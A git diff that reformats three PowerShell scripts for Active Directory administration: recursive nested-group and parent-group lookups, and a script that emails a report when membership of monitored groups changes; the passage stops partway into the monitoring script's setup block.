.PARAMETER RelationShipPath + Show the relation ship path + .PARAMETER MaxDepth + Specify the Max .Example Get-NestedMember -GroupName TESTGROUP @@ -19,88 +22,77 @@ Get-NestedMember TESTGROUP | Group Name | select name, count This will find duplicate + .link + https://github.com/lazywinadmin/PowerShell #> [CmdletBinding()] PARAM( - [String[]]$GroupName, - [String]$RelationShipPath, - [Int]$MaxDepth + [String[]]$GroupName, + [String]$RelationShipPath, + [Int]$MaxDepth ) - BEGIN - { - $DepthCount = 1 + TRY { + $FunctionName = (Get-Variable -Name MyInvocation -Scope 0 -ValueOnly).MyCommand - TRY{ - if(-not(Get-Module Activedirectory -ErrorAction Stop)){ - Write-Verbose -Message "[BEGIN] Loading ActiveDirectory Module" - Import-Module ActiveDirectory -ErrorAction Stop} - } - CATCH - { - Write-Warning -Message "[BEGIN] An Error occured" - Write-Warning -Message $error[0].exception.message + Write-Verbose -Message "[$FunctionName] Check if ActiveDirectory Module is available" + if (-not(Get-Module Activedirectory -ErrorAction Stop)) { + Write-Verbose -Message "[$FunctionName] Loading ActiveDirectory Module" + Import-Module -Name ActiveDirectory -ErrorAction Stop } - } - PROCESS - { - TRY - { - FOREACH ($Group in $GroupName) - { - # Get the Group Information - $GroupObject = Get-ADGroup -Identity $Group -ErrorAction Stop - - IF($GroupObject) - { - # Get the Members of the group - $GroupObject | Get-ADGroupMember -ErrorAction Stop | ForEach-Object -Process { - - # Get the name of the current group (to reuse in output) - $ParentGroup = $GroupObject.Name - - - # Avoid circular - IF($RelationShipPath -notlike ".\ $($GroupObject.samaccountname) \*") - { - if($PSBoundParameters["RelationShipPath"]) { - - $RelationShipPath = "$RelationShipPath \ $($GroupObject.samaccountname)" - + + # Set Depth Counter + $DepthCount = 1 + FOREACH ($Group in $GroupName) { + Write-Verbose -Message "[$FunctionName] Group '$Group'" + + # Get the Group Information + $GroupObject = Get-ADGroup -Identity $Group -ErrorAction Stop + + IF ($GroupObject) { + Write-Verbose -Message "[$FunctionName] Group '$Group' - Retrieving members" + + # Get the Members of the group + $GroupObject | Get-ADGroupMember -ErrorAction Stop | ForEach-Object -Process { + + # Get the name of the current group (to reuse in output) + $ParentGroup = $GroupObject.Name + + + # Avoid circular + IF ($RelationShipPath -notlike ".\ $($GroupObject.samaccountname) \*") { + if ($PSBoundParameters["RelationShipPath"]) { + + $RelationShipPath = "$RelationShipPath \ $($GroupObject.samaccountname)" + + } + Else { $RelationShipPath = ".\ $($GroupObject.samaccountname)" } + + Write-Verbose -Message "[$FunctionName] Group '$Group' - Name:$($_.name) | ObjectClass:$($_.ObjectClass)" + $CurrentObject = $_ + switch ($_.ObjectClass) { + "group" { + # Output Object + $CurrentObject | Select-Object Name, SamAccountName, ObjectClass, DistinguishedName, @{Label = "ParentGroup"; Expression = { $ParentGroup } }, @{Label = "RelationShipPath"; Expression = { $RelationShipPath } } + + if (-not($DepthCount -lt $MaxDepth)) { + # Find Child + Get-NestedMember -GroupName $CurrentObject.Name -RelationShipPath $RelationShipPath + $DepthCount++ } - Else{$RelationShipPath = ".\ $($GroupObject.samaccountname)"} - - Write-Verbose -Message "[PROCESS] Name:$($_.name) | ObjectClass:$($_.ObjectClass)" - $CurrentObject = $_ - switch ($_.ObjectClass) - { - "group" { - # Output Object - $CurrentObject | Select-Object Name,SamAccountName,ObjectClass,DistinguishedName,@{Label="ParentGroup";Expression={$ParentGroup}}, @{Label="RelationShipPath";Expression={$RelationShipPath}} - - if (-not($DepthCount -lt $MaxDepth)){ - # Find Child - Get-NestedMember -GroupName $CurrentObject.Name -RelationShipPath $RelationShipPath - $DepthCount++ - } - }#Group - default { $CurrentObject | Select-Object Name,SamAccountName,ObjectClass,DistinguishedName, @{Label="ParentGroup";Expression={$ParentGroup}},@{Label="RelationShipPath";Expression={$RelationShipPath}}} - }#Switch - }#IF($RelationShipPath -notmatch $($GroupObject.samaccountname)) - ELSE{Write-Warning -Message "[PROCESS] Circular group membership detected with $($GroupObject.samaccountname)"} - }#ForeachObject - }#IF($GroupObject) - ELSE { - Write-Warning -Message "[PROCESS] Can't find the group $Group" - }#ELSE - }#FOREACH ($Group in $GroupName) - }#TRY - CATCH{ - Write-Warning -Message "[PROCESS] An Error occured" - Write-Warning -Message $error[0].exception.message } - }#PROCESS - END - { - Write-Verbose -Message "[END] Get-NestedMember" + }#Group + default { $CurrentObject | Select-Object Name, SamAccountName, ObjectClass, DistinguishedName, @{Label = "ParentGroup"; Expression = { $ParentGroup } }, @{Label = "RelationShipPath"; Expression = { $RelationShipPath } } } + }#Switch + }#IF($RelationShipPath -notmatch $($GroupObject.samaccountname)) + ELSE { Write-Warning -Message "[$FunctionName] Circular group membership detected with $($GroupObject.samaccountname)" } + }#ForeachObject + }#IF($GroupObject) + ELSE { + Write-Warning -Message "[$FunctionName] Can't find the group $Group" + }#ELSE + }#FOREACH ($Group in $GroupName) + }#TRY + CATCH { + $PSCmdlet.ThrowTerminatingError($_) } } \ No newline at end of file diff --git a/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 b/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 index 534f6411..6a180046 100644 --- a/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 +++ b/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 @@ -1,11 +1,10 @@ -function Get-ParentGroup -{ -<# +function Get-ParentGroup { + <# .SYNOPSIS Find all Nested members of a group .DESCRIPTION Find all Nested members of a group - .PARAMETER GroupName + .PARAMETER Name Specify one or more GroupName to audit .Example Get-NestedMember -GroupName TESTGROUP @@ -19,6 +18,8 @@ Get-NestedMember TESTGROUP | Group Name | select name, count This will find duplicate + .link + https://github.com/lazywinadmin/PowerShell #> [CmdletBinding()] @@ -26,42 +27,35 @@ [Parameter(Mandatory = $true)] [String[]]$Name ) - BEGIN - { - TRY{ - if(-not(Get-Module Activedirectory -ErrorAction Stop)){ + BEGIN { + TRY { + if (-not(Get-Module Activedirectory -ErrorAction Stop)) { Write-Verbose -Message "[BEGIN] Loading ActiveDirectory Module" - Import-Module ActiveDirectory -ErrorAction Stop} + Import-Module -Name ActiveDirectory -ErrorAction Stop + } } - CATCH - { - Write-Warning -Message "[BEGIN] An Error occured" - Write-Warning -Message $error[0].exception.message + CATCH { + $PSCmdlet.ThrowTerminatingError($_) } } - PROCESS - { - TRY - { - FOREACH ($Obj in $Name) - { + PROCESS { + TRY { + FOREACH ($Obj in $Name) { # Make an Ambiguous Name Resolution $ADObject = Get-ADObject -LDAPFilter "(|(anr=$obj)(distinguishedname=$obj))" -Properties memberof -ErrorAction Stop - IF($ADObject) - { + IF ($ADObject) { # Show a warning if more than 1 object is found - if ($ADObject.count -gt 1){Write-Warning -Message "More than one object found with the $obj request"} - - FOREACH ($Account in $ADObject) - { + if ($ADObject.count -gt 1) { Write-Warning -Message "More than one object found with the $obj request" } + + FOREACH ($Account in $ADObject) { Write-Verbose -Message "[PROCESS] $($Account.name)" $Account | Select-Object -ExpandProperty memberof | ForEach-Object -Process { $CurrentObject = Get-Adobject -LDAPFilter "(|(anr=$_)(distinguishedname=$_))" -Properties Samaccountname - - - Write-Output $CurrentObject | Select-Object Name,SamAccountName,ObjectClass, @{L="Child";E={$Account.samaccountname}} - + + + Write-Output $CurrentObject | Select-Object Name, SamAccountName, ObjectClass, @{L = "Child"; E = { $Account.samaccountname } } + Write-Verbose -Message "Inception - $($CurrentObject.distinguishedname)" Get-ParentGroup -OutBuffer $CurrentObject.distinguishedname @@ -73,12 +67,11 @@ }#ELSE }#FOREACH ($Obj in $Object) }#TRY - CATCH{ - Write-Warning -Message "[PROCESS] An Error occured" - Write-Warning -Message $error[0].exception.message } + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } }#PROCESS - END - { + END { Write-Verbose -Message "[END] Get-NestedMember" } } \ No newline at end of file diff --git a/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 b/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 index 7ae6d7f2..7cddbac4 100644 --- a/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 +++ b/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 @@ -1,215 +1,217 @@ +# Script is now maintained on the following repository: https://github.com/lazywinadmin/Monitor-ADGroupMembership + <# .SYNOPSIS - This script is monitoring group(s) in Active Directory and send an email when someone is changing the membership. + This script is monitoring group(s) in Active Directory and send an email when someone is changing the membership. .DESCRIPTION - This script is monitoring group(s) in Active Directory and send an email when someone is changing the membership. - It will also report the Change History made for this/those group(s). + This script is monitoring group(s) in Active Directory and send an email when someone is changing the membership. + It will also report the Change History made for this/those group(s). .PARAMETER Group - Specify the group(s) to query in Active Directory. - You can also specify the 'DN','GUID','SID' or the 'Name' of your group(s). - Using 'Domain\Name' will also work. + Specify the group(s) to query in Active Directory. + You can also specify the 'DN','GUID','SID' or the 'Name' of your group(s). + Using 'Domain\Name' will also work. .PARAMETER SearchRoot - Specify the DN, GUID or canonical name of the domain or container to search. By default, the script searches the entire sub-tree of which SearchRoot is the topmost object (sub-tree search). This default behavior can be altered by using the SearchScope parameter. + Specify the DN, GUID or canonical name of the domain or container to search. By default, the script searches the entire sub-tree of which SearchRoot is the topmost object (sub-tree search). This default behavior can be altered by using the SearchScope parameter. .PARAMETER SearchScope - Specify one of these parameter values - 'Base' Limits the search to the base (SearchRoot) object. - The result contains a maximum of one object. - 'OneLevel' Searches the immediate child objects of the base (SearchRoot) - object, excluding the base object. - 'Subtree' Searches the whole sub-tree, including the base (SearchRoot) - object and all its child objects. + Specify one of these parameter values + 'Base' Limits the search to the base (SearchRoot) object. + The result contains a maximum of one object. + 'OneLevel' Searches the immediate child objects of the base (SearchRoot) + object, excluding the base object. + 'Subtree' Searches the whole sub-tree, including the base (SearchRoot) + object and all its child objects. .PARAMETER GroupScope - Specify the group scope of groups you want to find. Acceptable values are: - 'Global'; - 'Universal'; - 'DomainLocal'. + Specify the group scope of groups you want to find. Acceptable values are: + 'Global'; + 'Universal'; + 'DomainLocal'. .PARAMETER GroupType - Specify the group type of groups you want to find. Acceptable values are: - 'Security'; - 'Distribution'. + Specify the group type of groups you want to find. Acceptable values are: + 'Security'; + 'Distribution'. .PARAMETER File - Specify the File where the Group are listed. DN, SID, GUID, or Domain\Name of the group are accepted. + Specify the File where the Group are listed. DN, SID, GUID, or Domain\Name of the group are accepted. .PARAMETER EmailServer - Specify the Email Server IPAddress/FQDN. + Specify the Email Server IPAddress/FQDN. .PARAMETER EmailTo - Specify the Email Address(es) of the Destination. Example: fxcat@fx.lab + Specify the Email Address(es) of the Destination. Example: fxcat@fx.lab .PARAMETER EmailFrom - Specify the Email Address of the Sender. Example: Reporting@fx.lab + Specify the Email Address of the Sender. Example: Reporting@fx.lab .PARAMETER EmailEncoding - Specify the Body and Subject Encoding to use in the Email. - Default is ASCII. + Specify the Body and Subject Encoding to use in the Email. + Default is ASCII. .PARAMETER Server - Specify the Domain Controller to use. - Aliases: DomainController, Service + Specify the Domain Controller to use. + Aliases: DomainController, Service .PARAMETER HTMLLog - Specify if you want to save a local copy of the Report. - It will be saved under the directory "HTML". + Specify if you want to save a local copy of the Report. + It will be saved under the directory "HTML". .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -Group "FXGroup" -EmailFrom "From@Company.com" -EmailTo "To@Company.com" -EmailServer "mail.company.com" + .\AD-GROUP-Monitor_MemberShip.ps1 -Group "FXGroup" -EmailFrom "From@Company.com" -EmailTo "To@Company.com" -EmailServer "mail.company.com" - This will run the script against the group FXGROUP and send an email to To@Company.com using the address From@Company.com and the server mail.company.com. + This will run the script against the group FXGROUP and send an email to To@Company.com using the address From@Company.com and the server mail.company.com. .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -Group "FXGroup","FXGroup2","FXGroup3" -EmailFrom "From@Company.com" -Emailto "To@Company.com" -EmailServer "mail.company.com" + .\AD-GROUP-Monitor_MemberShip.ps1 -Group "FXGroup","FXGroup2","FXGroup3" -EmailFrom "From@Company.com" -Emailto "To@Company.com" -EmailServer "mail.company.com" - This will run the script against the groups FXGROUP,FXGROUP2 and FXGROUP3 and send an email to To@Company.com using the address From@Company.com and the Server mail.company.com. + This will run the script against the groups FXGROUP,FXGROUP2 and FXGROUP3 and send an email to To@Company.com using the address From@Company.com and the Server mail.company.com. .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -Group "FXGroup" -EmailFrom "From@Company.com" -Emailto "To@Company.com" -EmailServer "mail.company.com" -Verbose + .\AD-GROUP-Monitor_MemberShip.ps1 -Group "FXGroup" -EmailFrom "From@Company.com" -Emailto "To@Company.com" -EmailServer "mail.company.com" -Verbose - This will run the script against the group FXGROUP and send an email to To@Company.com using the address From@Company.com and the server mail.company.com. Additionally the switch Verbose is activated to show the activities of the script. + This will run the script against the group FXGROUP and send an email to To@Company.com using the address From@Company.com and the server mail.company.com. Additionally the switch Verbose is activated to show the activities of the script. .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -Group "FXGroup" -EmailFrom "From@Company.com" -Emailto "Auditor@Company.com","Auditor2@Company.com" -EmailServer "mail.company.com" -Verbose + .\AD-GROUP-Monitor_MemberShip.ps1 -Group "FXGroup" -EmailFrom "From@Company.com" -Emailto "Auditor@Company.com","Auditor2@Company.com" -EmailServer "mail.company.com" -Verbose - This will run the script against the group FXGROUP and send an email to Auditor@Company.com and Auditor2@Company.com using the address From@Company.com and the server mail.company.com. Additionally the switch Verbose is activated to show the activities of the script. + This will run the script against the group FXGROUP and send an email to Auditor@Company.com and Auditor2@Company.com using the address From@Company.com and the server mail.company.com. Additionally the switch Verbose is activated to show the activities of the script. .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -SearchRoot 'FX.LAB/TEST/Groups' -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -Verbose + .\AD-GROUP-Monitor_MemberShip.ps1 -SearchRoot 'FX.LAB/TEST/Groups' -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -Verbose - This will run the script against all the groups present in the CanonicalName 'FX.LAB/TEST/Groups' and send an email to catfx@fx.lab using the address Reporting@fx.lab and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script. + This will run the script against all the groups present in the CanonicalName 'FX.LAB/TEST/Groups' and send an email to catfx@fx.lab using the address Reporting@fx.lab and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script. .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -file .\groupslist.txt -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -Verbose + .\AD-GROUP-Monitor_MemberShip.ps1 -file .\groupslist.txt -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -Verbose - This will run the script against all the groups present in the file groupslists.txt and send an email to catfx@fx.lab using the address Reporting@fx.lab and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script. + This will run the script against all the groups present in the file groupslists.txt and send an email to catfx@fx.lab using the address Reporting@fx.lab and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script. .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -server DC01.fx.lab -file .\groupslist.txt -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -Verbose + .\AD-GROUP-Monitor_MemberShip.ps1 -server DC01.fx.lab -file .\groupslist.txt -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -Verbose - This will run the script against the Domain Controller "DC01.fx.lab" on all the groups present in the file groupslists.txt and send an email to catfx@fx.lab using the address Reporting@fx.lab and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script. + This will run the script against the Domain Controller "DC01.fx.lab" on all the groups present in the file groupslists.txt and send an email to catfx@fx.lab using the address Reporting@fx.lab and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script. .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -server DC01.fx.lab:389 -file .\groupslist.txt -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -Verbose + .\AD-GROUP-Monitor_MemberShip.ps1 -server DC01.fx.lab:389 -file .\groupslist.txt -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -Verbose - This will run the script against the Domain Controller "DC01.fx.lab" (on port 389) on all the groups present in the file groupslists.txt and send an email to catfx@fx.lab using the address Reporting@fx.lab and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script. + This will run the script against the Domain Controller "DC01.fx.lab" (on port 389) on all the groups present in the file groupslists.txt and send an email to catfx@fx.lab using the address Reporting@fx.lab and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script. .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -group "Domain Admins" -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -EmailEncoding 'ASCII' -HTMLlog + .\AD-GROUP-Monitor_MemberShip.ps1 -group "Domain Admins" -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -EmailEncoding 'ASCII' -HTMLlog - This will run the script against the group "Domain Admins" and send an email (using the encoding ASCII) to catfx@fx.lab using the address Reporting@fx.lab and the SMTP server 192.168.1.10. It will also save a local HTML report under the HTML Directory. + This will run the script against the group "Domain Admins" and send an email (using the encoding ASCII) to catfx@fx.lab using the address Reporting@fx.lab and the SMTP server 192.168.1.10. It will also save a local HTML report under the HTML Directory. .INPUTS - System.String + System.String .OUTPUTS - Email Report + Email Report .NOTES - NAME: AD-GROUP-Monitor_MemberShip.ps1 - AUTHOR: Francois-Xavier Cat - EMAIL: info@lazywinadmin.com - WWW: www.lazywinadmin - Twitter:@lazywinadm - - REQUIREMENTS: - -Read Permission in Active Directory on the monitored groups - -Quest Active Directory PowerShell Snapin - -A Scheduled Task (in order to check every X seconds/minutes/hours) - - VERSION HISTORY: - 1.0 2012.02.01 - Initial Version - - 1.1 2012.03.13 - CHANGE to monitor both Domain Admins and Enterprise Admins - - 1.2 2013.09.23 - FIX issue when specifying group with domain 'DOMAIN\Group' - CHANGE Script Format (BEGIN, PROCESS, END) - ADD Minimal Error handling. (TRY CATCH) - - 1.3 2013.10.05 - CHANGE in the PROCESS BLOCK, the TRY CATCH blocks and placed - them inside the FOREACH instead of inside the TRY block - ADD support for Verbose - CHANGE the output file name "DOMAIN_GROUPNAME-membership.csv" - ADD a Change History File for each group(s) - example: "GROUPNAME-ChangesHistory-yyyyMMdd-hhmmss.csv" - ADD more Error Handling - ADD a HTML Report instead of plain text - ADD HTML header - ADD HTML header for change history - - 1.4 2013.10.11 - CHANGE the 'Change History' filename to - "DOMAIN_GROUPNAME-ChangesHistory-yyyyMMdd-hhmmss.csv" - UPDATE Comments Based Help - ADD Some Variable Parameters - - 1.5 2013.10.13 - ADD the full Parameter Names for each Cmdlets used in this script - ADD Alias to the Group ParameterName - - 1.6 2013.11.21 - ADD Support for Organizational Unit (SearchRoot parameter) - ADD Support for file input (File Parameter) - ADD ParamaterSetNames and parameters GroupType/GroupScope/SearchScope - REMOVE [mailaddress] type on $Emailfrom and $EmailTo to make the script available to PowerShell 2.0 - ADD Regular expression validation on $Emailfrom and $EmailTo - - 1.7 2013.11.23 - ADD ValidateScript on File Parameter - ADD Additional information about the Group in the Report - CHANGE the format of the $changes output, it will now include the DateTime Property - UPDATE Help - ADD DisplayName Property in the report - - 1.8 2013.11.27 - Minor syntax changes - UPDATE Help - - 1.8.1 2013.12.29 - Rename to AD-GROUP-Monitor_MemberShip - - 1.8.2 2014.02.17 - Update Notes - - 2.0 2014.05.04 - ADD Support for ActiveDirectory module (AD module is use by default) - ADD failover to Quest AD Cmdlet if AD module is available - RENAME GetQADGroupParams variable to ADGroupParams - - 2.0.1 2015.01.05 - REMOVE the DisplayName property from the email - ADD more clear details/Comments - RENAME a couple of Verbose and Warning Messages - FIX the DN of the group in the Summary - FIX SearchBase/SearchRoot Parameter which was not working with AD Module - FIX Some other minor issues - ADD Check to validate data added to $Group is valid - ADD Server Parameter to be able to specify a domain controller - - 2.0.2 2015.01.14 - FIX an small issue with the $StateFile which did not contains the domain - ADD the property Name into the final output. - ADD Support to export the report to a HTML file (-HTMLLog) It will save - the report under the folder HTML - ADD Support for alternative Email Encoding: Body and Subject. Default is ASCII. - - - TODO: - -Add Switch to make the Group summary Optional (info: Description,DN,CanonicalName,SID, Scope, Type) - -Current Member Count, Added Member count, Removed Member Count - -Switch to Show all the Current Members (Name, Department, Role, EMail) - -Possibility to Ignore some groups - -Email Credential - -Recursive Membership search - -Switch to save a local copy of the HTML report (maybe put this by default) + NAME: AD-GROUP-Monitor_MemberShip.ps1 + AUTHOR: Francois-Xavier Cat + EMAIL: info@lazywinadmin.com + WWW: www.lazywinadmin + Twitter:@lazywinadmin + + REQUIREMENTS: + -Read Permission in Active Directory on the monitored groups + -Quest Active Directory PowerShell Snapin + -A Scheduled Task (in order to check every X seconds/minutes/hours) + + VERSION HISTORY: + 1.0 2012.02.01 + Initial Version + + 1.1 2012.03.13 + CHANGE to monitor both Domain Admins and Enterprise Admins + + 1.2 2013.09.23 + FIX issue when specifying group with domain 'DOMAIN\Group' + CHANGE Script Format (BEGIN, PROCESS, END) + ADD Minimal Error handling. (TRY CATCH) + + 1.3 2013.10.05 + CHANGE in the PROCESS BLOCK, the TRY CATCH blocks and placed + them inside the FOREACH instead of inside the TRY block + ADD support for Verbose + CHANGE the output file name "DOMAIN_GROUPNAME-membership.csv" + ADD a Change History File for each group(s) + example: "GROUPNAME-ChangesHistory-yyyyMMdd-hhmmss.csv" + ADD more Error Handling + ADD a HTML Report instead of plain text + ADD HTML header + ADD HTML header for change history + + 1.4 2013.10.11 + CHANGE the 'Change History' filename to + "DOMAIN_GROUPNAME-ChangesHistory-yyyyMMdd-hhmmss.csv" + UPDATE Comments Based Help + ADD Some Variable Parameters + + 1.5 2013.10.13 + ADD the full Parameter Names for each Cmdlets used in this script + ADD Alias to the Group ParameterName + + 1.6 2013.11.21 + ADD Support for Organizational Unit (SearchRoot parameter) + ADD Support for file input (File Parameter) + ADD ParamaterSetNames and parameters GroupType/GroupScope/SearchScope + REMOVE [mailaddress] type on $Emailfrom and $EmailTo to make the script available to PowerShell 2.0 + ADD Regular expression validation on $Emailfrom and $EmailTo + + 1.7 2013.11.23 + ADD ValidateScript on File Parameter + ADD Additional information about the Group in the Report + CHANGE the format of the $changes output, it will now include the DateTime Property + UPDATE Help + ADD DisplayName Property in the report + + 1.8 2013.11.27 + Minor syntax changes + UPDATE Help + + 1.8.1 2013.12.29 + Rename to AD-GROUP-Monitor_MemberShip + + 1.8.2 2014.02.17 + Update Notes + + 2.0 2014.05.04 + ADD Support for ActiveDirectory module (AD module is use by default) + ADD failover to Quest AD Cmdlet if AD module is available + RENAME GetQADGroupParams variable to ADGroupParams + + 2.0.1 2015.01.05 + REMOVE the DisplayName property from the email + ADD more clear details/Comments + RENAME a couple of Verbose and Warning Messages + FIX the DN of the group in the Summary + FIX SearchBase/SearchRoot Parameter which was not working with AD Module + FIX Some other minor issues + ADD Check to validate data added to $Group is valid + ADD Server Parameter to be able to specify a domain controller + + 2.0.2 2015.01.14 + FIX an small issue with the $StateFile which did not contains the domain + ADD the property Name into the final output. + ADD Support to export the report to a HTML file (-HTMLLog) It will save + the report under the folder HTML + ADD Support for alternative Email Encoding: Body and Subject. Default is ASCII. + + + TODO: + -Add Switch to make the Group summary Optional (info: Description,DN,CanonicalName,SID, Scope, Type) + -Current Member Count, Added Member count, Removed Member Count + -Switch to Show all the Current Members (Name, Department, Role, EMail) + -Possibility to Ignore some groups + -Email Credential + -Recursive Membership search + -Switch to save a local copy of the HTML report (maybe put this by default) #> #requires -version 3.0 @@ -217,596 +219,542 @@ [CmdletBinding(DefaultParameterSetName = "Group")] PARAM ( - [Parameter(ParameterSetName = "Group", Mandatory = $true, HelpMessage = "You must specify at least one Active Directory group")] - [ValidateNotNull()] - [Alias('DN', 'DistinguishedName', 'GUID', 'SID', 'Name')] - [string[]]$Group, - - [Parameter(ParameterSetName = "OU", Mandatory = $true)] - [Alias('SearchBase')] - [String[]]$SearchRoot, - - [Parameter(ParameterSetName = "OU")] - [ValidateSet("Base", "OneLevel", "Subtree")] - [String]$SearchScope, - - [Parameter(ParameterSetName = "OU")] - [ValidateSet("Global", "Universal", "DomainLocal")] - [String]$GroupScope, - - [Parameter(ParameterSetName = "OU")] - [ValidateSet("Security", "Distribution")] - [String]$GroupType, - - [Parameter(ParameterSetName = "File", Mandatory = $true)] - [ValidateScript({ Test-Path -Path $_ })] - [String[]]$File, - - [Parameter()] - [Alias('DomainController', 'Service')] - $Server, - - [Parameter(Mandatory = $true, HelpMessage = "You must specify the Sender Email Address")] - [ValidatePattern("[a-z0-9!#\$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")] - [String]$Emailfrom, - - [Parameter(Mandatory = $true, HelpMessage = "You must specify the Destination Email Address")] - [ValidatePattern("[a-z0-9!#\$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")] - [String[]]$Emailto, - - [Parameter(Mandatory = $true, HelpMessage = "You must specify the Email Server to use (IPAddress or FQDN)")] - [String]$EmailServer, - - [Parameter()] - [ValidateSet("ASCII", "UTF8", "UTF7", "UTF32", "Unicode", "BigEndianUnicode", "Default")] - [String]$EmailEncoding="ASCII", - - [Parameter()] - [Switch]$HTMLLog + [Parameter(ParameterSetName = "Group", Mandatory = $true, HelpMessage = "You must specify at least one Active Directory group")] + [ValidateNotNull()] + [Alias('DN', 'DistinguishedName', 'GUID', 'SID', 'Name')] + [string[]]$Group, + + [Parameter(ParameterSetName = "OU", Mandatory = $true)] + [Alias('SearchBase')] + [String[]]$SearchRoot, + + [Parameter(ParameterSetName = "OU")] + [ValidateSet("Base", "OneLevel", "Subtree")] + [String]$SearchScope, + + [Parameter(ParameterSetName = "OU")] + [ValidateSet("Global", "Universal", "DomainLocal")] + [String]$GroupScope, + + [Parameter(ParameterSetName = "OU")] + [ValidateSet("Security", "Distribution")] + [String]$GroupType, + + [Parameter(ParameterSetName = "File", Mandatory = $true)] + [ValidateScript( { Test-Path -Path $_ })] + [String[]]$File, + + [Parameter()] + [Alias('DomainController', 'Service')] + $Server, + + [Parameter(Mandatory = $true, HelpMessage = "You must specify the Sender Email Address")] + [ValidatePattern("[a-z0-9!#\$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")] + [String]$Emailfrom, + + [Parameter(Mandatory = $true, HelpMessage = "You must specify the Destination Email Address")] + [ValidatePattern("[a-z0-9!#\$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")] + [String[]]$Emailto, + + [Parameter(Mandatory = $true, HelpMessage = "You must specify the Email Server to use (IPAddress or FQDN)")] + [String]$EmailServer, + + [Parameter()] + [ValidateSet("ASCII", "UTF8", "UTF7", "UTF32", "Unicode", "BigEndianUnicode", "Default")] + [String]$EmailEncoding = "ASCII", + + [Parameter()] + [Switch]$HTMLLog ) -BEGIN -{ - TRY - { - - # Set the Paths Variables and create the folders if not present - $ScriptPath = (Split-Path -Path ((Get-Variable -Name MyInvocation).Value).MyCommand.Path) - $ScriptPathOutput = $ScriptPath + "\Output" - IF (!(Test-Path -Path $ScriptPathOutput)) - { - Write-Verbose -Message "[BEGIN] Creating the Output Folder : $ScriptPathOutput" - New-Item -Path $ScriptPathOutput -ItemType Directory | Out-Null - } - $ScriptPathChangeHistory = $ScriptPath + "\ChangeHistory" - IF (!(Test-Path -Path $ScriptPathChangeHistory)) - { - Write-Verbose -Message "[BEGIN] Creating the ChangeHistory Folder : $ScriptPathChangeHistory" - New-Item -Path $ScriptPathChangeHistory -ItemType Directory | Out-Null - } - - # Set the Date and Time variables format - $DateFormat = Get-Date -Format "yyyyMMdd_HHmmss" - $ReportDateFormat = Get-Date -Format "yyyy\MM\dd HH:mm:ss" - - - # Active Directory Module - IF (Get-Module -Name ActiveDirectory -ListAvailable) #verify ad module is installed - { - Write-Verbose -Message "[BEGIN] Active Directory Module" - # Verify Ad module is loaded - IF (-not (Get-Module -Name ActiveDirectory -ErrorAction SilentlyContinue -ErrorVariable ErrorBEGINGetADModule)) - { - Write-Verbose -Message "[BEGIN] Active Directory Module - Loading" - Import-Module -Name ActiveDirectory -ErrorAction SilentlyContinue -ErrorVariable ErrorBEGINAddADModule - Write-Verbose -Message "[BEGIN] Active Directory Module - Loaded" - $global:ADModule = $true - } - ELSE - { - Write-Verbose -Message "[BEGIN] Active Directory module seems loaded" - $global:ADModule = $true - } - } - ELSE # Else we try to load Quest Ad Cmdlets - { - Write-Verbose -Message "[BEGIN] Quest AD 